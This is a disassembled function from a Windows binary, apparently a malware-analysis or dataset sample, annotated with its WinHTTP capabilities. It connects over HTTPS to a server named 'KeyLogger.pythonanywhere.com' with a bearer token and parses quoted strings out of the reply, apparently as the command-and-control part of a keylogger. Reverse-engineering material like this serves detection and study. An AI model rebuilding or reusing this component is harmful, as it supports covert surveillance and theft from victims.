Function at 0x140001663
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Set http header

Disassembly:
push rbp
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.WinHTTP_File_Fetcher
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
jne 0x1400016c2
mov ebx, 0
jmp 0x140001b0e
mov rax, qword [rbp + 0xc0]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.KeyLogger.pythonanywhere.com
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x140001716
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x140001b0e
mov rax, qword [rbp + 0xb8]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140101102]
lea rdx, [0x140101110]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
jne 0x140001798
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x140001b0e
lea rax, [rbp + 0x6e]
mov qword [rbp + 0xa0], rax
nop
nop
lea rax, [0x140137080]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end___const
mov rbx, rax
lea rax, [0x140137080]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin___const
mov rdx, rax
lea rcx, [rbp + 0x6e]
lea rax, [rbp + 0x40]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__no
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x40]
mov r8, rdx
lea rdx, str.Authorization:_Bearer
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x6e]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0xb0]
mov r9d, 0x20000000
mov r8d, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
call rax
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
test eax, eax
je 0x14000189d
mov rax, qword [rbp + 0xb0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
test eax, eax
jne 0x1400018a4
mov eax, 1
jmp 0x1400018a9
mov eax, 0
test al, al
je 0x1400018f0
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x140001b02
mov dword [rbp + 0x1c], 0
lea rdx, [rbp + 0x1c]
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call rax
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400d7ec0
mov eax, dword [rbp + 0x1c]
test eax, eax
je 0x1400019c9
lea rax, [rbp + 0x6f]
mov qword [rbp + 0x98], rax
nop
nop
mov eax, dword [rbp + 0x1c]
mov ecx, eax
lea rdx, [rbp + 0x6f]
lea rax, [rbp - 0x30]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0x6f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov dword [rbp - 0x34], 0
mov ebx, dword [rbp + 0x1c]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rcx, [rbp - 0x34]
mov rax, qword [rbp + 0xb0]
mov r9, rcx
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.end__
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.begin__
mov rdx, rax
lea rax, [rbp - 0x10]
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::append___gnu_cxx::__normal_iterator_char__std::vector_char__std.allocator_char_______
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov qword [rbp + 0xc8], 0
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.clear__
jmp 0x140001ab9
mov rax, qword [rbp + 0xc8]
lea rdx, [rax + 1]
lea rax, [rbp - 0x10]
mov r8, rdx
mov edx, 0x22
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_char__unsigned_long_long__const
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0xffffffffffffffff
je 0x140001af0
mov rax, qword [rbp + 0xa8]
sub rax, qword [rbp + 0xc8]
lea r8, [rax - 1]
mov rax, qword [rbp + 0xc8]
lea rcx, [rax + 1]
lea rax, [rbp + 0x70]
lea rdx, [rbp - 0x10]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0xa8]
add rax, 1
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
lea rax, [rbp - 0x10]
mov r8, rdx
mov edx, 0x22
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_char__unsigned_long_long__const
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0xffffffffffffffff
setne al
test al, al
jne 0x140001a21
jmp 0x140001af1
nop
mov ebx, 1
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x140001ba0
add rsp, 0x158
pop rbx
pop rbp
ret